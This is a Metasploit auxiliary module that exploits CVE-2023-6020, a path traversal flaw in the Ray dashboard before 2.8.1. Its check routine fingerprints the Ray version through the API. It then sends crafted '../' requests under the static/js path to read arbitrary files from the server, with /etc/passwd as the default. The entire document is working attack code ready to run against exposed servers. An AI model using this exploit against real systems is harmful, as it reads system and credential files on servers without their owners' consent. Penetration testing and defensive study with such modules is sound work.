Ray Static Arbitrary File Read

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Ray static arbitrary file read',  
'Description' => %q{  
Ray before 2.8.1 is vulnerable to a local file inclusion.  
},  
'Author' => [  
'byt3bl33d3r <[email protected]>', # Python Metasploit module  
'danmcinerney <[email protected]>', # Python Metasploit module  
'Takahiro Yokoyama' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2023-6020'],  
['URL', 'https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/'],  
['URL', 'https://github.com/protectai/ai-exploits/tree/main/ray']  
],  
'DisclosureDate' => '2023-11-15',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ IOC_IN_LOGS, ],  
'Reliability' => []  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(8265),  
OptString.new('FILEPATH', [ true, 'File to read', '/etc/passwd'])  
]  
)  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api/version')  
})  
return Exploit::CheckCode::Unknown unless res && res.code == 200  
  
ray_version = res.get_json_document['ray_version']  
  
return Exploit::CheckCode::Unknown unless ray_version  
  
return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3')  
  
file_content = lfi('/etc/passwd')  
return Exploit::CheckCode::Vulnerable unless file_content.nil?  
  
Exploit::CheckCode::Appears  
end  
  
def lfi(filepath)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "static/js/../../../../../../../../../../../../../..#{filepath}")  
})  
return unless res && res.code == 200  
  
res.body  
end  
  
def run  
file_content = lfi(datastore['FILEPATH'])  
fail_with(Failure::Unknown, 'Failed to execute LFI') unless file_content  
print_good("#{datastore['FILEPATH']}\n#{file_content}")  
end  
  
end  
`